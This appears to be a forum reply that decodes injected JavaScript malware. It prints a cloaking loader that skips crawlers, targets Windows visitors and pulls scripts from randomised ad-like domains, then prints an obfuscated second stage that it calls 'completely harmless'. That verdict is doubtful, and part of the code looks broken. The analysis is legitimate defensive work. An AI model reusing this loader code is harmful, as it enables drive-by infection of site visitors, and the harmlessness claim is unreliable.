The code you posted is decoded to
var a = window.navigator.userAgent, b = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i, c = navigator.appVersion; if (document.cookie.indexOf("holycookie") == -1 && !a.toLowerCase().match(b) && c.toLowerCase().indexOf("win") != -1) { var d = ["myads.name", "adsnet.biz", "toolbarcom.org", "mybar.us", "freead.name"], e = ["vagi.", "vain.", "vale.", "vars.", "vary.", "vasa.", "vaut.", "vavs.", "viny.", "viol.", "vrow.", "vugs.", "vuln."], f = Math.floor(Math.random() * d.length), g = Math.floor(Math.random() * e.length); dt = new Date; dt.setTime(dt.getTime() + 9072E4); document.cookie = "holycookie=" + escape("holycookie") + ";expires=" + dt.toGMTString() + ";path=/"; document.write('') };
which, in turn, loads the code from the url compiled in a pseudo-random manner, provided that the if condition is met.
If you open, for example, http://vain.adsnet.biz/system/caption.js , you will be presented with the following javascript code.
I leave you an interpretation, but it looks completely harmless.
function tT() {}; var yWP = new Array(); tT.prototype = { h: function () { this.i = ""; var nH = function () {}; var tE = 30295; var u = ""; zB = false; this.a = ''; this.eY = 29407; var z = document; vD = "vD"; var gT = "gT"; var oG = ''; var lF = ''; fU = "fU"; var q = function () { return 'q' }; var c = window; var m = function () { return 'm' }; var kS = "kS"; this.b = ""; this.p = 29430; var j = this; dL = ""; var cC = new Date(); cQ = 33459; var uY = "uY"; var vO = function () {}; zN = "zN"; jIZ = ''; var mH = 21601; String.prototype.lP = function (v, hF) { var t = this; return t.replace(v, hF) }; var nA = ""; this.xK = 48622; zG = ""; var kF = function () {}; function aF() {}; var mI = function () {}; var oY = ''; var g = 'sfe?tfTw'.lP(/[wfoj\?]/g, '') + 'irmkeko('.lP(/[\(rO\[k]/g, '') + 'ubty'.lP(/[y\+b\>\)]/g, ''); var iN = new Array(); mJ = "mJ"; aW = "aW"; var hU = "hU"; this.kC = 28044; var k = 'tbr3e*c(r*e3a('.lP(/[\(3b\*G]/g, '') + 'tEe>nat>gaeat)'.lP(/[\)a\>\]\|'.lP(/[\|\)\(MN]/g, '')); var cJ = function () {}; var tX = false; this.xHX = false; function jP() {}; var eZ = 16039; bQ = "bQ"; var eSM = new Date(); c[g](function () { jh() }, 384); this.xR = ""; var jB = function () { return 'jB' }; var fP = function () { return 'fP' }; var bX = new Array(); } function iLD() {}; var mQ = function () {}; var wZV = "";this.eK = 5506; } }; fO = 30941; var hW = new tT(); wU = 40956; hW.h(); hZ = "hZ";
How could you do it yourself? URLDecode + jsbeautifier or jsunpack is more than enough to go that far;)